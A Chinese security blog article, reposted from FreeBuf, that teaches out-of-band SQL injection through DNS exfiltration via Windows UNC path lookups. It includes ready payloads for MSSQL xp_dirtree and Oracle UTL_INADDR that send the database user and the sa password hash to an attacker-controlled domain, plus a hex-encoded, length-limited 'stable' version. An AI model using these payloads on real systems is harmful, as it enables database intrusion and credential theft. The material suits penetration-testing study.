前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >OOB(out of band)分析系列之DNS渗漏

OOB(out of band)分析系列之DNS渗漏

作者头像
FB客服
发布2018-02-28 16:19:22
1.7K0
发布2018-02-28 16:19:22
举报
文章被收录于专栏:FreeBuf

前言

SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。

我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。

但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。

这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的原理并且熟知各大数据库的函数和特性。因为这篇文章不会讲这些东西但是又基于这些东西,不会是很难看懂的。

我的QQ:1478023488

欢迎任何人找我讨论,但是拒绝闲聊和扯淡.

OOB

SQL注入类型细分,分为以下5种:

共计3大类:

这篇文章的主题是out of band,即OOB。

它与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和Error-based SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。

而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。

(因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果, 所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)

Method

requests

Time

Boolean-based blind

29,212

214.04

Time-based (1 sec)

32,716

17,720.51

Error-based

777

9.02

Union (full/partial)

3/136

0.70/2.50

DNS exfiltration

1,409

35.31

数据来源

我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。

利用DNS偷走数据

当说这个之前,你需要知道DNS的原理:

实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。

作为攻击者,我们只能控制需要查询的域名和域名的NS服务器。域名的NS服务器可以在域名注册商那里修改,如何搭建NS服务器就不谈了。

以及还需要知道win对UNC(Universal-Naming-Convention)的内在支持,当我们尝试连接到一个UNC路径的时候,win会先查找目标域名的ip地址,用以建立连接。比如,给某个文件处理函数的文件路径是\\admin.xiaoze.com\tops\这种,那么win操作系统会在xiaoze.com的dns服务器上查找admin.xiaoze.com的域名的ip。所以我们可以通过监视dns服务器来捕获数据。

那么显然,利用dns偷数据的方法,除了大家熟知的mysql+win环境可以利用,只要是有能操控文件的函数且在win环境下运行的数据库都可以利用这种方法。

比如mssql的4个文件操作函数:

函数名

支持的数据库版本

需要的参数

xp_getfiledetails

Microsoft SQL Serves 2000

文件路径

xp_fileexist

全系列

文件路径

xp_dirtree

全系列

文件路径

xp_subdirs

全系列

文件路径

利用dns获得当前登陆的用户,可以使用:

declare @xiaoze char(128); set @xiaoze=’\‘+system_user+’.xiaoze.com.’; exec master..xp_dirtree @xiaoze

如果想获得sa账号的密码hash,可以使用:

declare @xiaoze varchar(128); select @host=”\‘+(select top 1 master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name=’sa’) +’.xiaoze.com.’; exec master..xp_dirtree @xiaoze;

因为在测试的时候发现直接使用字符串拼接会报错,所以我用了一个变量来保存路径。但是也有小伙伴测试发现直接拼接不会报错,具体情况大家自己搭建环境测试吧,我的环境是Microsoft SQL Serves 2000。

上面的语句通过文件操作函数触发了win的UNC,引发了一次DNS操作,在向我们的ns服务器查询子域名ip的时候就可以捕捉到数据。

同样,除了mssql和mysql可以利用dns偷数据,只要内置文件操作函数的数据库都可以利用。

比如Oracle,Oracle的利用比mssql简单很多。可以直接使用UTL_INADDR包(官方文档戳我),而且因为不依赖PL/SQL所以可以直接插入到子查询或者where之后。

在Oracle下想获得数据库登陆用户可以用:

select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS ((SELECT USER FROM DUAL)||’.xiaoze.com’

其他的比如MySQL和PostgreSQL也是一样的原理,我就不浪费篇幅了。

实际问题

这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。所以我上面的中间变量长度都是128。同时也不能出现非法字符,否则也会失败。

一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为fn_varbintohexstr的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。这句sql语句执行的结果是0x73006100,也就是sa的unicode编码后的样子。

接下来就是长度问题,因为经过上面的16进制编码之后,128个字符的空间就显的太少了,很容易就超出。这样要么我们只能收到前128个字符,剩下的就被丢掉了,也可能干脆直接失败。128包括完整的整个请求,包括前面的\\和结尾的com.这点尤为注意。同时一个标识符占用128个字符是非法的,最多不能超过63个字符,比如com就是一个标签符,它占用3个字符。

具体的解释请打开《TCP/IP详解—卷1:协议》(机器工业出版社第一版)的第146页中间的图14-6那段。

为了能正常完整的偷取数据,我们需要对数据进行编码,并且不能超过63个字节。编码可以用fn_varbintohexstr函数解决。长度可以用substring函数截取控制长度。

完整且能保证稳定的利用语句:

declare @xiaoze char(128); select @xiaoze=’\‘+master.dbo.fn_varbintohexstr( CAST(SUBSTRING((SELECT TOP 1 CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS VARBINARY(255)))+’.XiaoZeLoveLMZ.com.’; EXEC master..xp_dirtree @xiaoze;

由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,每次向后推两天,幸好她的月经时间不固定,否则我只能随机她生气的时间了。比如她看到这段话的时候?

结语

实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-07-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • OOB
    • 数据来源
      • 利用DNS偷走数据
      • 实际问题
      • 结语
      相关产品与服务
      云数据库 MySQL
      腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档